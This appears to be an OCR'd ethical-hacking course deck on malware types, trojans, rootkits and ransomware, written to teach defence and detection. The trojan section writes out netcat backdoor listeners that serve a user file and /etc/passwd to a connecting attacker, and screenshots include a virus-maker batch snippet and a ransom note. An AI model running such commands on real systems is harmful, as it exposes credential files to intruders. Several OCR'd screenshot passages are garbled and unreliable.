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MALWARE OVERVIEW

= Malware is a file, program or string of code used for malicious activity, such as
damaging devices, demanding ransom and stealing sensitive data

= Classified by the payload or malicious action it performs

= Typically delivered over a network
= Can also be delivered via physical media

= Mostly downloaded from the Internet with or without the user's knowledge
= Social Engineering is often used to trick users into installing malware
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Minecraft is the favorite hacker
game title for hiding malware
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TYPES OF MALWARE

= Viruses

= Worms

= Trojans

= Ransomware

= Bots

= Adware

= Spyware

= Browser hijackers
= Rootkits

= Keyloggers

= Fileless malware

= Malvertising



HOW MALWARE WORKS

Two phases to malware:

= Infection Phase
= A virus is planted on a target system

= It replicates itself and attaches to one or more executable files

= Attack phase

= The infected file is executed accidentally by the user, or in some way is
deployed and activated



MALWAK

Cryptor

Obfuscator

Dropper/Stager/
Downloader
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Payload

Packer

Wrapper
Injector

Malicious Code

E COMPONENTS

Software that uses encryption and obfuscation to make the malware hard to detect

A process that makes the malware’s text/binary data difficult to understand or recognize.
Could be part of cryptor functionality

A small file that establishes an initial foothold on the compromised machine. Then
downloads the bulk of the malware

The larger exploit that the dropper downloads

An application designed to take advantage of a specific vulnerability. Can be a stage.
Usually carries a payload

The actual malware that the attacker wants to run on the victim’s computer

A program that bundles all of the malware files together into a single compressed
executable

A program that hides a trojan inside another application
Malware that injects itself into other processes or files, making it harder to detect

Harmful programming instructions designed to exploit system vulnerabilities



MALWARE V5 VIRUS

= There is a common misconception that all malware is a virus

= Malware is a bigger category that includes viruses




VIRUS VS WORM

= Both viruses and worms can spread across the network
= Viruses need the help of human intervention

= Worms can act independently
= They do not need human help “




MALWARE VS EXPLOIT

= The terms malware and exploit are often used together, but they are not the same

= Malware often uses exploits to infect a system

= Malware is a program used for malicious activity
= It is inherently malicious
= Its code is designed to cause damage

= An Exploit is a program that takes advantage of a weakness (vulnerability)
= Used to hack into systems
= Not inherently malicious
= It is a delivery mechanism
= Its code is designed to break into a system, but not to (itself) cause damage
= However, it is typically used for malicious purposes:

= It can deliver a malicious payload
= It can be used to establish a backdoor or advanced persistent threat in the target network



HOW MALWARE GETS ONTO SYSTEMS

= Black hat Search Engine Optimization (SEO) manipulation
= Ranking malicious/compromised websites highly in search results

= Social Engineering / Click-jacking
= Tricking users into clicking an innocent-looking link that leads to a malicious site

= Phishing/Spear phishing/Whaling
= Sending fake emails that entice a user to click a malicious link

= Malvertising » &

[ )
= Embedding malware in ad networks »

= These appear on hundreds of legitimate sites -)/




HOW MALWARE GETS ONTO SYSTEMS (CONT'D)

= Compromised legitimate sites
= Hosting embedded malware that spreads to visitors

= Drive-by downloads
= Exploiting flaws in browser software to install malware by just visiting a webpage

= Malicious links in email, social media, SMSs and instant messaging

» Infected removable media

.
= Infected email attachments Phase 1: '\ Stage 1: System Exploit
Stage 2: Binary (Dropper) Loading
A
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HOW MALWARE GETS ONTO SYSTEMS (CONT'D)

= Legitimate software packaged by a disgruntled employee
= Compromises in the software supply chain
= Browser and email software bugs

= File sharing sites / mobile app stores
= Users download fake or compromised programs

= Untrusted sites that offer freeware
= Downloading files, games, and screensavers from Internet sites

= Using administrative utilities such as the psexec suite in a malicious way
= Make a connection to the device
= Then upload a trojan, logic bomb, or backdoor



INDICATORS OF MALWARE INFECTION

= Strange popups or alerts

= Browser window or apps freeze frequently

= Computer slows down when running normal applications
= Computer periodically freezes or becomes unresponsive

= Files and folders are missing or renamed




INDICATORS OF MALWARE INFECTION (CONT’D)

= Drive labels change
= Unexplained or excessive hard drive activity

= Unexplained inbound or outbound network connection attempts
= Unexpected open ports

= Unable to boot operating system

= Any type of abnormal activity!




= Virus Characteristics
= Virus Types
7'2 VIRUSES = Self-hiding Viruses

= Worms



INTRODUCTION TO VIRUSES

= A self-replicating program

= Cannot reproduce/spread without help
= Usually requires (unwitting) human intervention/assistance

= Inserts or attaches itself to a legitimate program or document in order to execute its
code

= Viruses are usually transmitted through file downloads, infected removable disk
drives, flash drives, and email attachments



COMMON VIRUS CHARRCTERISTICS

Infects other programs
Alters data

Transforms itself

Corrupts files and programs

Encrypts itself
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COMPUTER VIRUS LIFECYCLE
D
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MOTIVATION FOR CREATING VIRUSES

B4 Virus Maker — >

= Advanced persistent threat

. M Add code (batch) M Cpen website
u Cre atlng a. botnet @echo off www blackhost xyz
shutdown 5 4 00 < "blackhost
wvirus maker" B Message

. Bragglng rlghts M Change password M Crazy mouse Il Add..
o o o . o 21qyCABOCSFILu M Changetime Il Auto startup..

= Cause damage to an individual or organization fn_ff_u e - m; ]:ﬁ- cmum

Filename: |setup B Wom B Shutdown..

= Receive financial benefits

Extension: |exe Virug name:;  |zetup

| Used for resea.rCh prOjeCtS B Kil process Exension: I:-

explorer exe —
winlogon .exe Save
’ - | :I:I
] Play a trle filaname exe

. M Cpen program
= Cause Vandallsm notepad exe oop

= Perpetrate cyber terrorism

= Distribute ideological messages (political, religious, etc.)



VIRUS TYPES

= TSR

= Boot Sector
= File

= Multipartite
= Cluster

= Macro

= Compression



TRANSIENT VIRUS, TERMINATE AND STAY
RESIDENT (TSR) VIRUS



SYSTEM OR BOOT SECTOR VIRUS

= A boot sector virus moves the Master Boot Record (MBR) to another location on the
hard disk

= Copies itself to the original location of MBR

= When the affected system boots the virus code is executed first
= Then control is passed to the original MBR

1 BIOS

2 Master Boot Record @
3 Partition Boot S.uectcfr-@H

N\

4 Operating System



FILE VIRUS

= Infects files which are executed or interpreted by the system including .exe, .sys,
.com, .dll, .bat etc.

= Can be either direct-action (non-resident) or memory-resident



MULTIPARTITE VIRUS

= Infects the system boot sector and executable files at the same time
= Attempts to infect both boot sector and files

= Generally refers to viruses with multiple infection methods



CLUSTER VIRUS

= Modifies directory table entries
= They point users or system processes to the virus code rather than the actual application

= Only one copy of the virus is stored on disk, but infects all applications on the
computer

= When the legitimate application launches:
= Cluster virus runs first
= The legitimate app runs next



MACRO VIRUS

= Written in a macro language
= Platform independent

= Macro Viruses
= Infect files create by Microsoft Word or Excel
= Most are written using Visual Basic for Applications (VBA)
= Infect templates or convert infected documents into template files, while appearing normal



COMPRESSION VIRUS

= An example of a “benevolent” computer virus
= More of a nuisance than a malicious attack

= Searches for uninfected executable files

= Compresses the file and prepends itself to it

= Decompresses and executes the file as needed



SELF-HIDING VIRUSES

= Cavity

= File Extension

= Companion/Camouflage
= Shell

= Add-on

= Stealth

= Encryption

= Polymorphic

= Metamorphic

= Sparse Infector



CAVITY VIRUS

= AKA File Overwriting Virus

= Overwrites portions of host files
= Usually “white space” (nulls) in the file

= Does not increase the length of the file
= Preserves original file functionality

= Difficult to detect



FILE EXTENSION VIRUS

= Takes advantage of a user convenience feature that hides common file extensions
for known file types

= Names the infected file something like “goodfile.txt.exe” or “funny cats.avi.exe”
= Since “exe” is a known file type, Windows doesn’t show that extension

= Instead, it displays the file as “goodfile.txt” or “funny cats.avi”

= The user then opens the file, thinking it is benign

= The “original” file might be run/opened to allay suspicion, but the virus also runs
in the background



COMPANION/CAMOUTLAGE VIRUS

= Compromises a feature of DOS that enables software with the same name, but
different extensions, to operate with different priorities

= For example:
= You may have program.exe on your computer
= The virus may create a file called program.com

= When the computer executes program.exe, the virus
runs program.com before program.exe is executed

= In many cases, the real program also runs
= Users believe that the system is operating normally
= They aren’t aware that a virus was run on the system



SHELL VIRUS

= Wraps around an application's code

= When the application runs:
= The virus code runs first

= Then the legitimate application code runs



ADD-ON AND INTRUSIVE VIRUSES

= Add-on viruses
= Append their code to the host code without making any changes to the host code

= Inserts code at the beginning of the valid code

= Intrusive viruses
= Overwrite the host code partly or completely with the viral code



/TUNNELING VIRUS

= Evades antivirus software by intercepting requests to the operating system

= Hidden by intercepting the antivirus software’s request to read the file and passing
the request to the virus instead of the operating system

» Virus then returns an uninfected version of the file to the antivirus software that
makes it appear clean

= Stealth Virus hides the modifications it has made
= Masks the size of the file it infected

= Tricks antivirus software
= Intercepts antivirus requests to the OS

= Provides false information to the antivirus process
= Might temporarily remove itself from the file it infected



ENCRYPTION VIRUS

= Uses simple encryption to encipher the virus code

= Virus uses a different encryption key for each infected file

= Evades antivirus detection because the signature keeps changing
= Used by ransomware : g
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POLYMORPHIC CODE

= Mutates while keeping the original algorithm intact

= To enable, the virus must have a polymorphic engine (mutating engine)
= When well-written, no parts remain the same on each infection

= Produces varied but operational copies of itself

= May have no parts that remain identical between infections

= Very hard to detect using signatures




METEMORPHIC VIRUS

= Self-garbling
= Rewrites itself every time it infects a new file

= Can reprogram itself by translating its own code into a temporary representation
and then back to normal code



SPARSE INFECTOR VIRUS

= Infects only occasionally (e.g. every 10% file)
= Might only infect files that are a certain size

= Harder to detect



VIRUS SCENARIO

See anything strange here?

:

funny-cats.avi funny-cats.avi.exe



VIRUS SCENARIO #2

= Moo contacts the help desk because he cannot open an email attachment
= The help desk tech decides to watch Moo’s screen to see what’s going on

= When Moo double-clicks the file named Invoice999.pdf, the tech notices that a
black pop-up window appears and then disappears quickly, and the PDF does not
open.

= What is going on?
= The attachment is using a double file extension to mask its identity

= That black popup window is probably a command prompt opening briefly to
execute a malicious command.

= Even if Moo doesn’t have a PDF reader, most modern browsers can read PDFs.



WORMS

= A self-replicating type of malware that does not require user intervention or another
application to act as a host for it to replicate

= Often used to “enlist’” zombies into a botnet

= Can be distributed via email attachments
= They usually have double extensions (for example, .mp4.exe or .avi.exe)

= The recipient would think that they are media files and not malicious computer programs

= Recent examples:
= WannaCry ransomware worm
= Searches for Windows machines that are vulnerable to EternalBlue buffer overflow
= Installs WannaCry ransomware
= Ghost Eye Worm

= Uses random messaging on Facebook and other sites to perform a host of malicious efforts.



WORM EXAMPLES

= Badtrans

= Conficker

= Stuxnet

= Morris

= Code Red Il

= Nimda

= ILOVEYOU

= SQL Slammer

= Sasser




SPREAD OF CODE RED II

359,000 computers were infected with the Code-Red (CRv2) worm in less than 14 hours
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= Overview
= Common Trojans and Ports
= RATS

7'3 TRO] ANS = Covert Channel Trojans

= Banking Trojans



TROJAN

= AKA Trojan Horse

= A malicious program hidden inside of another program
= Usually embedded into a legitimate application that the victim willingly installs

= Executes malicious activities in the background without the user's knowledge




HOW HACKERS USE TROJANS

= Remote control the victim’s machine

= Delete or replace operating system’s critical files

= Record screenshots, audio, and video of the target computer

= Install keyloggers to steal passwords, security codes, credit card numbers, etc.
= Use target computer for spamming, and blasting email messages

= Download spyware, adware, and malicious files

= Disable firewalls and antivirus software

= Create backdoors for remote access

= Infect the target computer as a proxy server for relay attacks

= Use the target computer as a botnet zombie to generate DDoS attacks



COMMON TROJANS END THEIR PORTS
T T

Death Hackers Paradise

80  Executor
20  Senna Spy 456 Hackers Paradise

. Blade Runner, Doly Trojan, Fore, 555 Ini-Killer, Phase Zero, Stealth Spy

Invisible FTP, WebEx,WinCrash 666 Satanz Backdoor

23  Tiny Telnet Server 1001 Silencer, WebEx
Antigen, Email Password Sender, 1011 Doly Trojan

25 Haebu Coceda, Shtrilitz Stealth, 1170 Psyber Stream Server, Voice

Terminator, WinPC, WinSpy, Kuang?2
0.17A-0.30



COMMON TROJANS AND THEIR PORTS (CONT'D)

TCP Port Name of Trojan

1234
1243
1245
1492
1600
1807
1981
1999
2001

2023
2115

Ultors Trojan
SubSeven 1.0-1.8
VooDoo Doll
FTP99CMP
Shivka-Burka
SpysSender
Shockrave
BackDoor 1.00-1.03
Trojan Cow
Ripper

Bugs

TCP Port Name of Trojan

2140
2801
3024
3129
3150
3700
4092
4567
4590
5000
5001
5321

Deep Throat, The Invasor
Phineas Phucker
WinCrash

Masters Paradise

Deep Throat, The Invasor
Portal of Doom
WinCrash

File Nail 1

ICQTrojan

Bubbel

Sockets de Troie
Firehotcker



COMMON TROJANS AND THEIR PORTS (CONT'D)

TCP Port Name of Trojan TCP Porxt Name of Trojan

5400 Blade Runner 0.80 Alpha ggg(l) Ez:xzzgz
5401 Blade Runner 0.80 Alpha 7306 NetMonitor
5402 Blade Runner 0.80 Alpha 7307 NetMonitor
5400 Blade Runner 7308 R
5401 Blade Runner .

5402 Blade Runner Hes ICKiller

5569 Robo-Hack 8187 BackOfrice 2000
5742 WinCrash 9872 Portal of Doom
6670 DeepThroat 9873 Portal of Doom
6771 DeepThroat 9874 Portal of Doom
6969 GateCrasher, Priority 9875 Portal of Doom

7000 Remote Grab 9989 iNi-Killer



COMMON TROJANS AND THEIR PORTS (CONT'D)

TCP Port Name of Trojan

10067
10167
10607
11000
11223
12223
12345
12346
12361
12362
16969
20001

Portal of Doom
Portal of Doom
Coma 1.0.9

Senna Spy
Progenic trojan
Hack 99 KeyLogger
GabanBus, NetBus
GabanBus, NetBus
Whack-a-mole
Whack-a-mole
Priority
Millennium

TCP Port Name of Trojan

20034
21544
22222
23456
26274
30100
30101
30102
31337
31338
31339
31666

NetBus 2.0, Beta-NetBus 2.01
GirlFriend 1.0, Beta-1.35
Prosiak

Evil FTP, Ugly FTP

Delta

NetSphere 1.27a
NetSphere 1.27a
NetSphere 1.27a

Back Orifice

Back Orifice, DeepBO
NetSpy DK

BOWhack



COMMON TROJANS AND THEIR PORTS (CONT'D)

TCP Port Name of Trojan

33333
34324
40412
40421
40422
40423
40426
47262
50505
50766
53001
54321

Prosiak

BigGluck, TN

The Spy

Masters Paradise
Masters Paradise
Masters Paradise
Masters Paradise
Delta

Sockets de Troie
Fore

Remote Windows Shutdown
SchoolBus .69-1.11

TCP Port
61466
65000

UDP Port
1349
31337
31338
54321

Name of Trojan
Telecommando

Devil

Name of Trojan
Back Ofrice DLL
BackOfrice 1.20
DeepBO

BackOfrice 2000



HTTP/HTTPY TROJAN

= Bypasses a firewall

= Spawns a Child Program
= Executed on the internal host

= Spawns a child at a scheduled time

= Access the Internet
= Child program looks like an internal user to the firewall

= It makes an outbound connection to the attacker



SHTTPD TROJAN — HTTPS (3SL)

= SHTTPD is a small HTTP Server that can be embedded in any program

= Can be wrapped with a legitimate program

= When executed it will transform the target computer into an invisible web server



FTP TROJAN

= Installs an FTP server and opens FTP ports on the target computer

= An attacker can then connect to the target computer using an FIP client
= Can then download files that exist on the target computer



DEFACEMENT TROJAN

= Allows the attacker to view and edit almost any part of a compiled Windows program
including:
= menus, dialog boxes, icons, strings, bitmaps, logos, etc.



PROXY SERVER TR(

= Usually a standalone application
= Starts a hidden proxy server on the target computer

= Allows a remote attacker to use the target computer as a proxy to connect to the
Internet

= Thousands of computers on the Internet are infected with proxy servers using this
technique



TROJAN SCENARIO

1. Moo decided he didn’t want to pay for an expensive computer game
Instead, he downloaded a keygen program to generate his own license key
He wants to use the key to activate a pirated version of the game

The keygen creates the license key

But now his system has become very sluggish

His antimalware suite is also displaying numerous alerts

N oo O e W D

The keygen was probably infected with a trojan



REMOTE ACCESS TROJAN (RAT)

= Malicious programs that run on systems and allow intruders to access and use a
system remotely.

= Works like remote desktop access

= Attacker gains complete graphic user interface (GUI) access to the target computer
remotely

= To install a RAT:
= Infect target computer with server.exe
= Plant reverse Connecting Trojan
= Trojan connect to port 80 to establish the reverse connection
= Attacker has complete control over target computer



HTTP RAT

= Displays ads, records personal data/keystrokes

= Downloads unsolicited files, disables programs/system

= Floods Internet connection and distributes threats

= Tracks browsing history and activities and hijacks the browser

= Makes fraudulent claims about spyware detection and removal



0US RATS OF 2022

RAT DESCRIPTION

Dark Watchman Fileless RAT - manipulates system settings for evasion and infects
the Windows Registry

Cloud9 Google Chrome extension RAT - steals online accounts, logs
keystrokes, injects ads and malicious |JS code, and enlists the
victim's browser in DDoS attacks

RomCom RAT Impersonates KeePass, SolarWinds NPM, Veeam

RatMilad Android spyware targets mobile devices in the Middle East to spy

Imminent Monitor RAT

ZuoRAT

on victims and steal data

Popular among domestic abusers - used to spy on victims’ devices

Targets SOHO routers in North America, Europe




COMMAND SHELL TROJAN

= Provides the attacker the command prompt of a remote target
= Opens a port on the target for the attacker to connect

= A client is installed on the attacker’s computer to make the connection



NETCAT

BACKDOOR

= Provides a backdoor command prompt
nc -1 -p 4444 < ~/myfile

= Netcat sets up a listener on TCP port 4444

= A hacker uses netcat to make a connection to the listener:
nc <victim IP> 4444

= When netcat detects the connection, it sends the file myfile from the user’s home
directory to the attacker



TROJAN SCENARIO

= What does the following command do:
nc -1 -u -pb55555 < /etc/passwd
= Netcat sets up a back door listener on UDP port 55555

= When a client connects to the port, it will exfiltrate the /etc/passwd file, sending it to
the client



VNC TROJAN

= Starts a VNC Server daemon in the target system
= VNC is considered a legitimate remote control utility
= Attacker connects to the target using any VNC viewer

= Because VNC is commonly used by sysadmins for routine server administration, it is
hard to tell if the connection is legitimate or from a VNC trojan



VNC TROJAN EXAMPLE - HESPERBOT

= A banking Trojan with common trojan features including:
= Keystroke logging

= Capturing screenshots and video
= Configuring remote proxies

= Creates a hidden VNC server for the attacker to connect to the target remotely
= VNC does not log the user off the way RDP does

= The attacker can connect to the target computer while a user is working



OVERT

AND COVERT CHANNELS

= Overt Channels
= Legitimate communication channels used by programs

= Covert Channels
= Used to transport data in unintended ways
= Typically done through “tunneling” (hiding) one protocol inside another
= Used to evade detection
= Some Trojan clients use covert channels to send instructions to the Trojan server
= Can also be used for command and control communications



ICMP TUNNELING

= Uses ICMP echo request and reply to carry a payload and silently access or control
a target computer

= Examples Tools:
= Icmpsend
= Loki
= icmp.sh
= Ping Tunnel
= Ping Tower



[CMP TUNNELING EXAMPLE

|
Filter: . iExpressian... Clear Apply Save

0. Time Source Destination Protocol Length Info
61 140.5616980 Vmware 77:61:88 Vmware 3e:79:38 ARP 60 192.168.121.135

62 140.5617020 152.168.121.133 192.168.121.135 TCP 74 48042-80 [SYN] S
63 140.5829830 192.168.121.135 192.168.121.133 TCP 74 80-45042 [SYN, A
64 140,5830140 19 otz 3 92 168 5 Cp 56 4604280 [ACK] S‘
65 L40.6563910 192.168.121.134 192.168.121.133 ICMP Echo (iing) requ

6 140.6264180 152.168.121.133 192.168.121.134 ICMP Echo (ping) repl
)

Sequence number (BE): 1 (0x0001)
Sequence number (LE): 256 (0x0100)
[Response frame: 66]
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E-BANKING TROJAN

= Intercepts a target’s banking account information before it is encrypted
= Sends it to the attacker’s Trojan Command and Control center

= Steals the target’s data including credit card information
= transmits it to remote hackers using email, FTP, IRC, and other methods



E-BANKING TROJAN EXAMPLE

ﬁﬂa\.ﬁw
cred® e 1
2 Logi® m‘DE"_E.’E;::-j "’{E:__:T_’:_f nij
Attacker phon? === —=_Usiop,
a{ff"*'f Victim £ —

9SS Wit Tew 10 T rosan

4. Mobile Trojan
|

7. SMS with code ’/;‘-? Compromised

g website
5. Unauthorized 8. Code ﬁf;
money transfer ;iii o
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TYPES OF E-BANKING TROJANS

= TAN Grabber
= Trojan intercepts valid Transaction Authentication Number (TAN) entered by the user

= Replaces the TAN with a random number that will be rejected by the bank
= Attacker can use the intercepted TAN with the user’s login details

= HTML Injection
= Trojan creates fake form fields on e-bank pages
= Fields elicit extra information (card number, date of birth, etc.)
= Attacker can use to impersonate and compromise target’s account

= Form Grabber
= Trojan analyses POST requests and responses to target’s browser

= Compromises the scramble pad authentication
= Intercepts scramble pad input as user enters Customer Number and Personal Access Code



E-BANKING TROJAN EXAMPLES

= The main purpose of ZeuS and SpyEye is to steal bank and credit card account
information, FTP data, and other sensitive information from infected computers using web
browsers and protected storage

= SpyEye can automatically and quickly initiate online transactions

= Additonal E-banking Trojans include:
= Citadel Builder
= Jce IX
= Retefe
= FluBot
= Fobber
= Banker Trojan
= Feodo
= Gozi
= GozNym
= Emotet
= Kronos




= Rootkit Types

1.4 ROOTKITS . reomitToos

= Rootkit Detection



ROOTKITS

= Software put in place by attacker to obscure system compromise

= Often replaces a legitimate operating system file with an infected one
= Hides processes and files

= Also allows for future access

= Very hard to detect
= Its activities run at a very low level

= Below antivirus and other auditing software

= Often used to provide Advanced Persistent Threat backdoor access



WHERE ROOTKITS CAN BE PLACED

= Hypervisor level
= Modifies the boot sequence of a host system to load a VM as the host OS

» Hardware
= Hides malware in devices or firmware

= Boot loader level
= Replaces the boot loader with one controlled by the hacker

= Application level
= Replaces valid application files with Trojans

= Kernel level
= Replaces kernel code with back-door code

= Library level
= Uses system-level calls to hide themselves



ROOTKIT TOOLS

= Horse Pill
» Linux kernel rootkit inside initrd

= GrayFish Rootkit
= Windows rootkit injected into the boot record

= Firefef
= Multiple component malware family

= Necurs

= WingBird Rootkit

= Avatar

o HRSE PILL
A New Kind of

= ZeroAccess Linux Rootkit Mg

= Alureon




ROOTKIT DETECTION METHODS

= Integrity-based
= Hash key files and periodically check if the hash has changed

= Sighature-based

= Compare all system process and executable files to a database with known rootkit
signatures

= Heuristic/Behavior-based
= Look for any deviations in the system’s normal activity

= Runtime Execution Path Profiling

= Compare runtime execution paths of all system processes and executables before and after
infection

» Cross View-Based

= Compare key elements of the OS such as system files, processes, registry keys to a known
good state



DETECTING ROOTKITS IN WINDOWS

= Check the file system
= Save results of dir /s /b /ah and dir /s /b /a-h, compare to that of a clean system

= Use WinDiff, Tripwire, sigverif to check hashes

= Examine the registry

= Compare an export of HKEY LOCAL MACHINE\SOFTWARE and
HKEY LOCAL_MACHINE\SYSTEM to those of a known clean system



ANTI-ROOTKIT TOOLS

= Stinger [% Threats detected
= Avast ity Select action for found objects:
= TDSSKiller @ Copy all to quarantine |9°| Restore default actions
. Ma]_wa_rebytes 4 Rootkit.Win32.TDSS.tdl2
Service: HBSRTd.sys | Delete
= Rootkit buster Malware object, high risk
File: C:\Windows\system32\drivers\H8SR Tovpipcower.sys

- UnHackMe MD5: 475ffdfe1d8211df36fdf0f2d1e0cB4f

. 4 Rootkit.Win32.TDSS.tdI3
= Sophos Virus Removal Tool service: hwpolicy [ cure

. . Malware object, high risk

= F-Secure Anti-Virus File: C:\Windows\system32\drivers\hwpolicy.sys

. MD5(forged): 8305f33cde89adoc7al763ed0b5aBd42
= SanityCheck

= GMER




HOW T0 DEFEND AGAINST ROOTKITS

= Be prepared to reinstall the OS and apps from a trusted source
= Perform kernel memory dump analysis

= Install rootkit scanners

= Harden the system against attack

= Install a HIDS/HIPS

= Keep system patched and monitored



ROOTKIT SCENARIC

= How can a rootkit bypass the Windows operating system’s kernel mode and code
signing policy?

= By attaching itself to the master boot record in a hard drive and changing the
machine's boot sequence/options

= The operating system never has the opportunity to detect something is wrong




= Fileless
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FILELESS MALWARE CONCEPTS

= Fileless malware is a type of malicious software that uses legitimate programs to
infect a computer

= It does not rely on files and leaves no footprint, making it challenging to detect and
remove

= Fileless malware has been effective in evading all but the most sophisticated
security solutions

= Fileless attacks are often undetectable by antivirus, whitelisting, and other
traditional endpoint security solutions



FILELESS MALWARE EXAMPLE

User clicks on link
In spam email

= B £

Website loads flash
and triggers exploit

Shellcode launches Download and Shellcode launches
PowerShell (PS) with in-memory execution PowerShell (PS) with
cmd line to download  And reflectively load  cmd line to download
and execute payload code. Payload can and execute payload
in memory only perform exfiltration, in memory only
damage, etc.

https://www.vecteezy.com/free-vector/vector



WARNING:

FAKE ANTIVIRUSES

» Fake Antiviruses ( )

= Attacker disguise malware as an antivirus and trick

user/s into installing on one’s system SMS Spy
. . GeiNiMi VIRUS
= Fake antiviruses damage target systems and can be MSO.PJApps.T

consider malware a.payment.SkullKeyll.a

u - Alert Center

137 Issues found!

These issues may include security breaches &
system errors which may lead to data loss,
crashes, and performance loss. It is highly
recommended to fix these issues immediately.
Let's Fix it!

-- :

A WARNING!

YOUR COMPUTER MAY BE INFECTED:

System Detected (2) Potentially Malicious Viruses: Rootkit.Sirefef.Spy and Trojan.FakeAV-
Download. Your Personal & Financial Information MAY NOT BE SAFE.

To Remove Viruses, Call Tech Support Online Now:

1(888) 643-9730

(High Priority Virus Removal Call Line)

_ 1024 AM



ADWARE

= Malicious software that automatically displays advertisements online to generate
revenue for its author

= Advertisements may appear in the user interface of the software, onscreen during
the installation process, or in a browser

= It can even contain Trojan horses and spyware R CI

TAKE THE SURVEY FOR A CHANCE TO

e WIN $1,000.00 |
= In some cases it is designed to: W Las Vegas Trip For Two! ‘ :
= Analyze Internet sites visited

= Not always dangerous

| seertvouquaiiyseow. |

What's your favorite casino game?

= Present advertising content
= Install additional programs on the device
« Redirect your browser to unsafe sites [(rouerre @ [ stors g




SPYWARE

= Runs secretly on a computer
= Collects information about a person or organization without their knowledge
= Transmits that information back to a another entity for financial gain

= Does not disrupt a device's operations

= Targets sensitive information

= Can grant remote access to hackers

= Often used to steal financial or personal information

= A keylogger is a specific type of spyware




OTHER MALWARE

= Logic Bomb
= Executes a program when a certain event happens or a date and time arrives

= Cryptomining malware
= Currently the predominant global malware threat
= Heavily utilizes the compromised machine’s resources to mine cryptocurrency
= Infects desktop computers, laptops, mobile phones, and Internet of Things (IoT) devices

= Mobile malware
= Malicious software specifically designed to target mobile devices

= Goal is to gain access to private data

= Common types of mobile malware include RATSs, bank trojans, ransomware, cryptomining
malware, advertising click fraud

= Most commonly distributed through mobile phishing and spoofing, jailbroken/rooted
devices
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ADVANCED PERSISTENT THREAT

A general term that can refer to a group of attackers or the methods they use
MITRE ATT&CK currently tracks 135 APTs

= Most have been assigned an APT number, and are known by multiple names
= The vast majority are from China, Russia, Iran and North Korea

= There are also a few from Vietnam, South America, Israel, Lebenon, the Middle East, South Korea, and the
United States

APT groups are sophisticated and well-funded (usually by nation states)

Recent APT activities:
= COVID relief funds theft

= Cryptocurrency theft

= Money laundering

= Government and defense contractor infiltration
= Private sector / vertical industry infiltration

= Supply chain infiltration

= Data exfiltration

= Targeted DDoS

= APTSs rely heavily on social engineering, as well as software tools



RENSOMWARE

= AKA Data Hiding or Encryption trojan
= Malicious software designed to deny access to a computer until a price is paid

= Typically encrypts files (nearly the entire drive) using RSA 1024 - 2048 public key
= The private key is on the attacker’s C&C server

= The victim must pay a ransom for the attacker to provide the decryption key
= No guarantee the key will actually be provided

= Payment sites are typically on the TOR network

= Usually spread through email
= Most are trojans

= Most add entries to the Windows registry for persistence

STOP!

Don’t pay the

= Example: WannaCry ransom

» Famous ransomware K d
= Within 24 hours had 230,000 victims eep e goo
= Exploited unpatched SMB vulnerability backup instead



RANSOI

= CryptorBit
= Corrupts the first 212 or 1024 bytes of any data file it finds
= Able to bypass Group Policy settings put in place to defend against this type of infection

= Masquerades as legitimate antivirus software or updates for popular software titles like Adobe
Flash

IWARE TYPES

= CryptoLocker
= Similar to CryptorBit
= Encrypts files, offering to decrypt if a payment is made by a stated deadline

= CrpytoDefense
= AKA HOW_ DECRYPT.txt Ransomware
= Installs via malicious Flash or other online video players
= Encrypts data files such as text files, image files, video files, and office documents

= Deletes all Shadow Volume Copies so you cannot restore files form Shadow Volumes (Previous
Versions)

= You can only restore from backup or by paying the ransom



RANSOI

IWARE TYPES (CONTD)

= CryptoWall Ransomware
= Easy and inexpensive for the attacker to use

= Police-themed Ransomware
= Appears as a warning from a local law enforcement authority

= Accuses the user of possessing pornographic or illegally downloaded material

= Requires the user to pay a fine or be subject to arrest

-~

N

In 2022, Chinese APTs used short-lived ransomware campaigns to mask espionage:

APT 41:Deployed QuasarRAT, PlugX, and Cobalt Strike to steal intellectual
property from Japanese firms

APT 10: Used Cobalt Strike to deploy ransomware such as Rook, Pandora,
AtomSilo, LockFile, and Night Sky to attack Western global organizations

~

/




RENSOMWARE EXAMPLES

CryptorBit

Cryptorhii

YOUR PERSOMNAL FILES ARE EMCRYPTED

Al ligg i hfing videes, phaton sred diouerarts, g on o
conpibar are ancrppded

Eniryption wad produced wsing & unique peblic bey ganerated
Fow Bhies comnpeoter; To decrypt Flas, wouneed bo obbain the
private ey,

The sngle copy of the private key, wehich vl aloer you to deorypt
thee Flas, Rocaled ona secrel server on the Phermat; the seever
will dedtroy Lhe key alter a time specled in Lhis
mnd-mu Altes Wbl rabasahs anad e il b alile b0 reflone

|

Fie dacryplion coaks - § 50,

I order bo deorypt e fles, opan sto

dsfwcbgps 3imlvzbooneon.to/indesuphp and folioe the
etru g

B dsleeRgpSTimilvrlonion,bo in rol cpesng, sleace Rl ik
shopd Belaag:

1. Vons et osvniosd sl inat sl Rhis brossps:

hittge s Loaprodector g projects toebrows er.btmilen
. Afrer irgtalabion, eun the browser and enter the address:
efctgpSIimlvekoarianindowphp

X, Fadens Ehip Pafnacteeed of Ehis wibb-File W e yonl Chat

U Foangr vl oo, Uh e changes afe Bt o rgocear Bhe figs

Guasrantend recowery is provided sithin 00 days,

B -~

g walsly and saslly
o decrypl lon ey

Flease folleow iks isalrect loss

§ 3388 worth of Bitcain to followisy address

A T1% M Te RZR 1 POALEd r af I MR EHE

omal Inatallatlos kg te e-nsil
om key

-'l.l,..{,\ VRN

Tawd o Bitcois wallet 1D and pers
: ::—hl.lll:‘::rl:‘l.i"d..iplrtlp' mat, Tour p omal imztal
JANT - BT Tqi=7 1 Z2XG-5Tp TH-y SHOUE - X U ws U7 RG-SR TS S L -Mropts
Payment for private key

dy purchased gour hey, pleass saier it b low

Choose a convenient payment method and click «Next»:
[B'rtco'ln (most cheap option)

bitcoin

Bitcoin is @ cryptocurrency where the creation and transfer of bitcoins is
open-source cryptographic protocol that is independent of any central a
Bitcoins can be transferred through a computer or smartphone without
financial institution.

You have to send 2 BTC to Bitcoin address
and specify the Transaction ID on the
Private key will be destroyed on next page, which wil be verified and confirmed.
10/13/2013

1:21 PM

Home Page
Getting started with Bitcoin

Time left

71:33:17



RENSOMWARE EXAMPLES

WannaCry

Ooops, your files have been encrypted!

Bad Rabbit

BAD RABBIT

B} Can | Recover My Files? If you access this page your computer has been encrypted.
51572017 18:49:43 Sure. We guarantee that you can recover all your files safely and ea

e Len not 5o enough time. . Time left before the
me Le You can decrypt some of your files for free. Try now by clicking <D -
price goes up

But if you want to decrypt all your files, you need to pay.

You only have 3 days to submit the payment. After that the price wi
Also, if you don't pay in 7 days, you won't be able to recover your ' ' - - 2 -

We will have free events for users who are so poor that they could I ' ' i ' '

- - '-' ~ “om—

l u - u '

